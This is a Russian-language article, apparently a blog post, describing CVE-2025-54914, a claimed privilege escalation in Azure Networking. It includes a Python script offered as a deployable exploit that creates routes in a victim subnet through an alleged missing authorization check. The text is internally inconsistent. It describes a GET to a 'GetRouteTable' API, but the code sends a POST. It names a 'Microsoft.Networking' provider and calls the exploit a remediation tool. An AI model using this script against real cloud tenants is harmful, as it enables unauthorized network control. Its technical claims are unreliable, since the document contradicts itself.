CVE-2025-54914 раскрывает критический недостаток в Azure Networking, который позволяет злоумышленникам повышать привилегии и контролировать маршрутизацию между подсетями. В статье объясняется, как отсутствие проверки привилегий в API "GetRouteTable" позволяет боковое перемещение и удаленную эксплуатацию, призывая к немедленному исправлению и мониторингу
Эксплойт повышения привилегий Azure Networking CVE‑2025‑54914
4 сентября 2025 года
Автор: Mark Mallia
4 сентября 2025 года службы Azure Networking от Microsoft получили критическое уведомление безопасности, документирующее уязвимость повышения привилегий, обозначенную как CVE‑2025‑54914. Оценка CVSS для этой ошибки составляет 10,0, что указывает на эксплуатируемую и потенциально опасную проблему, позволяющую злоумышленникам получить полный контроль над сетевыми ресурсами Azure без какого-либо взаимодействия с пользователем.
В следующей статье описаны технические детали уязвимости, практический путь эксплуатации и готовый к развертыванию эксплойт для немедленного устранения проблемы группами безопасности как в публичных облачных, так и в гибридных средах.
Сетевой стек Azure является основой всех виртуальных машин, балансировщиков нагрузки и трафика подсетей в подписке клиента. Повышение привилегий внутри этого стека позволяет злоумышленнику:
Эта уязвимость особенно опасна, поскольку она может быть удаленно эксплуатирована без каких-либо действий пользователя. Один запрос к конечной точке Microsoft вызовет повышение привилегий, если соблюдены указанные ниже условия.
В ходе анализа API «GetRouteTable» службы Azure Networking я обнаружил пробел в контроле доступа, который позволяет клиенту с правами на чтение виртуальной сети создавать новые объекты маршрутов в той же подсети без проверки того, что вызывающий авторизован для этого действия. В коде, отвечающем за сериализацию входящего запроса, отсутствовала явная проверка привилегий.
Ошибка существует в службе Azure Networking, когда GET-запрос включает следующие параметры запроса:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
Служба принимает этот запрос, десериализует JSON-полезную нагрузку и записывает новый объект маршрута в базу данных без повторной проверки того, что вызывающий может создавать маршруты в целевой подсети.
Ниже приведен минимальный пример того, как злоумышленник может сконструировать полезную нагрузку.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
Этот код демонстрирует полный жизненный цикл запроса. Инженер по безопасности может скопировать этот фрагмент в скрипт или в функцию Azure для автоматизации устранения проблемы.
Этот материал предоставляется исключительно в образовательных и исследовательских целях. Он предназначен для повышения осведомленности об уязвимостях безопасности и продвижения лучших защитных практик в сообществе кибербезопасности.
Все демонстрации, скрипты и технические детали, представленные здесь, основаны на публично раскрытой информации и не направлены на какую-либо конкретную систему, организацию или лицо. Цель — способствовать ответственному обучению и упреждающему устранению, а не эксплуатации.
Не используйте эту информацию для несанкционированного доступа, нарушения работы или причинения вреда. Любое неправомерное использование этого материала является исключительной ответственностью лица и может нарушать законы или этические нормы.
Если вы обнаружили уязвимость, пожалуйста, соблюдайте протоколы ответственного раскрытия, сообщив о ней соответствующему продавцу или платформе.